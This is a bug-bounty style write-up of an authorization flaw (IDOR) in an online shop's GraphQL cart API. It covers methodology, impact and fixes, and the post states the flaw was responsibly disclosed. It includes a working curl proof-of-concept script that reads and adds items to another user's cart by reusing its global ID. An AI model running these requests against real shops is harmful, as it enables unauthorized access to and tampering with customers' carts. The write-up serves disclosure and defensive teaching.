Critical IDOR in GraphQL: From Nuclei Scan to Full Cart Takeover
How a single missing permission check allowed me to read and modify any customer cart on the target shop.
Critical IDOR in the GraphQL Endpoint of [redacted-domain]
Responsible disclosure: This research was conducted for educational purposes. The findings were reported to the [redacted-domain] team prior to publication, and mitigations are already in place.
Brief Introduction to GraphQL
GraphQL exposes all application resources through a single HTTP endpoint. The client sends text with a query or mutation specifying exactly which fields it needs, and each field is resolved by a function called a resolver.
- Single endpoint → if a permission check is missing in a resolver, anyone with access to the URL can directly invoke that logic.
- Global IDs → Shopify wraps each object in strings like
gid://…; the backend must verify that the user providing the ID is its actual owner. - Cascading resolvers →
cart(id: …)calls the data layer without checking the session → knowing the ID is enough to read or modify the resource.
In this case, the cart resolver and its associated mutations did not validate the owner of the cart: they relied on the gid containing a “secret” key. This omission enabled the IDOR.
1 Why Look at GraphQL?
GraphQL exposes an entire data model under a single URL (/api/graphql). If resolvers fail to check permissions per resource, any client knowing the correct identifiers can read or modify foreign objects.
In this case, the cart resolvers (cart, cartLinesAdd, etc.) never checked who was requesting the operation: they relied solely on the global ID (gid://shopify/Cart/...) containing a “secret” key. This assumption led to an IDOR (Insecure Direct Object Reference) for both reading and writing.
2 Step-by-Step Methodology
| Step | Action | Key Finding |
|---|---|---|
| Reconnaissance | Discovered /api/graphql by scanning common routes and performed an introspection (__schema). | The server returned the full schema: Cart, cartCreate, cartLinesAdd, etc. types. |
| Enumeration | Tested anonymous calls to products(first:1) and cartCreate. | Both worked without tokens. The service created anonymous carts and listed products. |
| Read Test | From “Session A,” created a cart (cartCreate) and saved its Global ID. From “Session B,” created another cart and copied its ID. | Session A could execute cart(id:"<ID_B>") and received the full object of the foreign cart. |
| Write Test | Obtained two ProductVariantIDs with products { variants { id } }. From “Session A,” called cartLinesAdd using the cart ID from “Session B.” | The mutation returned OK and added lines to the other user’s cart. |
Below is a screenshot of the result of running Nuclei against /api/graphql:
3 Proof-of-Concept (PoC) Summary
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# Create cart B (victim)
CART_B=$(curl -s -X POST https://[redacted-domain]/api/graphql \
-H 'Content-Type: application/json' \
--data '{"query":"mutation { cartCreate { cart { id } } }"}')
CART_B_ID=$(echo "$CART_B" | grep -oP '"id":"\\K[^" ]+')
# Obtain a public Variant ID
VARIANT_ID=$(curl -s -X POST https://[redacted-domain]/api/graphql \
-H 'Content-Type: application/json' \
--data '{"query":"{ products(first:1) { edges { node { variants(first:1) { edges { node { id } } } } } } }"}' | \
grep -oP '"id":"\\K[^" ]+' | head -n1)
# Add 2 units of that variant to the foreign cart (attacker session)
curl -s -X POST https://[redacted-domain]/api/graphql \
-H 'Content-Type: application/json' \
--data "{\"query\":\"mutation { cartLinesAdd(cartId:\\\"$CART_B_ID\\\", lines:[{merchandiseId:\\\"$VARIANT_ID\\\", quantity:2}]) { cart { id } } }\"}"
# Read the foreign cart with its new lines
curl -s -X POST https://[redacted-domain]/api/graphql \
-H 'Content-Type: application/json' \
--data "{\"query\":\"{ cart(id:\\\"$CART_B_ID\\\") { id lines(first:5) { edges { node { quantity merchandise { ... on ProductVariant { title } } } } } } }\"}"
The final response returns the newly added line, demonstrating unauthorized reading and writing.
4 Impact
- Exposure of private data: Anyone could spy on products, discounts, and quantities in any cart.
- Inventory manipulation and fraud: Items could be added/removed from third-party carts.
- High severity: A basic authorization vulnerability in a real shopping environment.
5 Proposed Remediation
- Owner check in resolvers: Validate that
context.useror the session cookie matchescart.ownerIdbefore returning or mutating data. - Signed tokens: If a
keyis used in the Global ID, sign it (JWT/HMAC) so it cannot be guessed or reused. - Global review: Audit all resolvers (
Checkout,Order,Customer) to prevent similar patterns.
Takeaway: In GraphQL, everything is resolved at a single endpoint; if you miss a permission check in a resolver, you open the door to your entire data domain.

